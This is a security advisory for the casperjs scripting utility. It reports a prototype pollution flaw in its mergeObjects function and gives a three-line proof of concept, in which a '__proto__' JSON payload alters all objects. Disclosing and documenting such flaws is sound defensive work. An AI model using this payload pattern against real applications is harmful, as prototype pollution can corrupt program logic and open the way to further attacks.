GHSA-vrr3-5r3v-7xfw
Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Overview
casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.
### PoC
```js
var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
```
References
External links from the advisory. They lead to third-party sites.